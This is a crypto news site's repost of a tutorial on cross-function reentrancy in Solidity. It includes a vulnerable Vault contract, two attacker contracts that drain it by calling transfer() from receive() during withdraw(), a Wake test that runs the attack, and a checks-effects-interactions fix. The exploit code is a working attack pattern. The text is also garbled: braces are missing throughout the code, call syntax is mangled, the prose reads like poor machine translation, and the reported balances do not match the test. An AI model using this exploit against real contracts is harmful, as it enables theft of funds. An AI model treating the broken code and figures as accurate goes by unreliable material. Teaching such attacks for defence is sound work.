Crypto Flexs
  • DIRECTORY
  • CRYPTO
    • ETHEREUM
    • BITCOIN
    • ALTCOIN
  • BLOCKCHAIN
  • EXCHANGE
  • TRADING
  • SUBMIT
Crypto Flexs
  • DIRECTORY
  • CRYPTO
    • ETHEREUM
    • BITCOIN
    • ALTCOIN
  • BLOCKCHAIN
  • EXCHANGE
  • TRADING
  • SUBMIT
Crypto Flexs
Home»HACKING NEWS»Cross-Function Reentrancy Attacks – Ackee Blockchain
HACKING NEWS

Cross-Function Reentrancy Attacks – Ackee Blockchain

By Crypto FlexsJuly 5, 20245 Mins Read
Facebook Twitter Pinterest LinkedIn Tumblr Email
Cross-Function Reentrancy Attacks – Ackee Blockchain
Share
Facebook Twitter LinkedIn Pinterest Email

What is a cross-function reentrancy attack?

Cross-function reentrant attacks use multiple functions to execute the attack, which can occur when single-function reentrant attacks are improperly mitigated. Cross-function reentrant attacks are more complex to find vulnerabilities in than single-function reentrant attacks because they use a combination of multiple functions.

This article explores how cross-function reentrancy attacks work, examples of attacks, and how to prevent cross-function reentrancy attacks.

Example of a cross-functional reentrancy vulnerability

This smart contract adds: transfer The ability to transfer a user’s value to another user without using ETH.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract Vault is ReentrancyGuard 
    mapping (address => uint) private balances;

    function deposit() external payable nonReentrant 
        balances(msg.sender) += msg.value;
    

    function transfer(address to, uint amount) public 
        if (balances(msg.sender) >= amount) 
            balances(to) += amount;
            balances(msg.sender) -= amount;
        
    

    function withdraw() public nonReentrant  // we can use noReentrant here.
        uint amount = balances(msg.sender);
        msg.sender.callvalue: amount("");
        balances(msg.sender) = 0; // did not checked balance. just overwrite to 0.
    

This is very similar to single function reentrancy, but we set up a reentrancy guard. withdraw And since there is a deposit function, this code cannot perform the same attack. However, the forward function does not have: nonReentrant.

The problem is that the state change is not completed before the transfer function becomes callable by the user. For example, if the user withdraw The function makes an external call and receives ETH. The balance is then transferred to another address. However, after the external call, the balance is simply set to 0. As a result, the total ETH balance of both accounts is effectively doubled for the same user.

Cross-functional reentrancy attack steps

After making a call attack function,

  1. Call deposit Strengthens balance against attacks.
  2. Call withdraw It is a function and performs an external call. Attackerand call it receive It performs the function and transfers the amount deposited by the attacker to: Attacker2.
  3. So now the sum of Attacker and Attacker2 is multiplied by several times.
  4. Call transfer and transfer the balance Attacker2 to Attacker Now the value of the balance is equal to the step. 1. but Attacker2 You received ETH in the previous step.

We repeat the task.

This is the attacker’s contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";

contract Attacker 
    Vault victim;
    uint256 amount = 1 ether;

    Attacker2 public attacker2;

    constructor(Vault _victim) payable 
        victim = Vault(_victim);
    

    function setattacker2(address _attacker2) public 
        attacker2 = Attacker2(_attacker2);
    

    function attack() public payable 
        uint256 value =  address(this).balance;
        victim.depositvalue: value();
        while(address(victim).balance >= amount) 
            victim.withdraw();
            attacker2.send( value , address(this));
        
    


    /**
     * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2. 
     * Because burn balance of attacker1 after this function.
     * @dev triggered by victim.withdraw()
     */
    receive() external payable 
        victim.transfer(address(attacker2), msg.value);
    


contract Attacker2 

    uint256 amount = 1 ether;
    Vault victim;

    constructor(Vault _victim) 
        victim = Vault(_victim);
    

    function send(uint256 value, address attacker) public 
        victim.transfer(attacker, value);
    

This is an exploit.

Attacker You need to know Attacker2 let go. Attacker2 Since it could be an EOA, I used a simple contract that only needed to be marked.

from wake.testing import *

from pytypes.contracts.crossfunctionreentrancy.vault import Vault
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker2

@default_chain.connect()
def test_default():
    print("---------------------Cross Function Reentrancy---------------------")
    victim = default_chain.accounts(0)
    attacker = default_chain.accounts(1)
    
    vault_contract = Vault.deploy(from_=victim)
    vault_contract.deposit(from_=victim, value="10 ether")
 
    
    attacker_contract = Attacker.deploy(vault_contract.address, from_=attacker , value="1 ether")
    attacker2_contract = Attacker2.deploy(vault_contract.address, from_=attacker)

    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
    print("Vault balance   : ", vault_contract.balance)
    print("Attacker balance: ", attacker_contract.balance)

    print("----------Attack----------")
    attacker_contract.attack(from_=attacker)

    print("Vault balance   : ", vault_contract.balance)
    print("Attacker balance: ", attacker_contract.balance)

This is the output of Wake.

We can see that the Vault balance changed from 5 EHT to 0 ETH. The Attacker balance changed from 1 ETH to 6 ETH.

This is inter-functional reentrancy.

Preventing Cross-Function Reentrancy Attacks

There are ways to prevent these attacks.

CEI(Check-Effect-Interaction)

As with the single-function reentrancy example, the simplest precaution is to avoid making untrusted calls during state changes.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract Vault 
    mapping (address => uint) private balances;

    function deposit() external payable 
        balances(msg.sender) += msg.value;
    

    function transfer(address to, uint amount) public 
        if (balances(msg.sender) >= amount) 
            balances(to) += amount;
            balances(msg.sender) -= amount;
        
    

    function withdraw() public  // we can use noReentrant here.
        uint amount = balances(msg.sender);
        balances(msg.sender) = 0; // change balance
        msg.sender.callvalue: amount(""); // external call
    


There may be other ways to prevent this, but for example using Reentrancy-Guard would still leave you vulnerable to other types of reentrancy, so applying the CEI pattern is the best option.

conclusion

The main problem and cause of reentrancy attacks is that even in the middle of the process of any function, a value can be modified and the value is different from what it should be. There are many ways to modify this, but even if you can prevent reentrancy attacks, you can still use and exploit other types of reentrancy attacks. These attacks will be discussed in future blogs.


There is a reentrancy cases Github repository that lists several types of reentrancy attacks along with protocol-specific reentrancy exploits and prevention cases, as well as guidance blog posts.

Share. Facebook Twitter Pinterest LinkedIn Tumblr Email

Related Posts

Cryptocurrency Inheritance Update: June 2025

May 7, 2026

Guardian Rewards – Vault12

May 1, 2026

Cryptocurrency Inheritance Update: March 2026

April 9, 2026
Add A Comment

Comments are closed.

Recent Posts

MapleStory Universe Marks One Year Of Live Ops, Surpasses 150M On-chain Transactions, Entering MSU 2.0 Phase

May 14, 2026

Base58Labs officially launches cryptocurrency arbitrage platform

May 14, 2026

MEXC Confirms Strong Asset Backing In Hacken-Audited May 2026 Proof Of Reserves Report

May 14, 2026

New Tokens Average At 2,341%, TradFi Futures Volume Climbs 55%: MEXC April Report

May 14, 2026

Cloudbet Expands Provably Fair Casino With 21 New Titles And 13 Originals

May 14, 2026

JPMorgan leverages both Ethereum and Solana for separate reasons for its institutional cash stack.

May 14, 2026

Tiny Bermuda chooses Stellar for its entire financial operations.

May 14, 2026

Corpay and BVNK launch stablecoin payments across $12 billion global network

May 13, 2026

Remission Fund Opens To Compensate Victims Of The AirBit Club Fraud

May 13, 2026

The best cryptocurrencies to buy now as market decline signals the next bull market

May 13, 2026

Base58Labs Officially Launches Crypto Arbitrage Platform

May 13, 2026

Crypto Flexs is a Professional Cryptocurrency News Platform. Here we will provide you only interesting content, which you will like very much. We’re dedicated to providing you the best of Cryptocurrency. We hope you enjoy our Cryptocurrency News as much as we enjoy offering them to you.

Contact Us : Partner(@)Cryptoflexs.com

Top Insights

MapleStory Universe Marks One Year Of Live Ops, Surpasses 150M On-chain Transactions, Entering MSU 2.0 Phase

May 14, 2026

Base58Labs officially launches cryptocurrency arbitrage platform

May 14, 2026

MEXC Confirms Strong Asset Backing In Hacken-Audited May 2026 Proof Of Reserves Report

May 14, 2026
Most Popular

Ethereum price faces a new surge barrier. Can the bulls prevail?

November 18, 2024

BlockDAG leads the pack with 30,000x revenue, outperforming DeeStream and Fezoo in the pre-sale phase.

April 12, 2024

Binance Executive Files Lawsuit Against Nigeria: Local Media

March 29, 2024
  • Home
  • About Us
  • Contact Us
  • Disclaimer
  • Privacy Policy
  • Terms and Conditions
© 2026 Crypto Flexs

Type above and press Enter to search. Press Esc to cancel.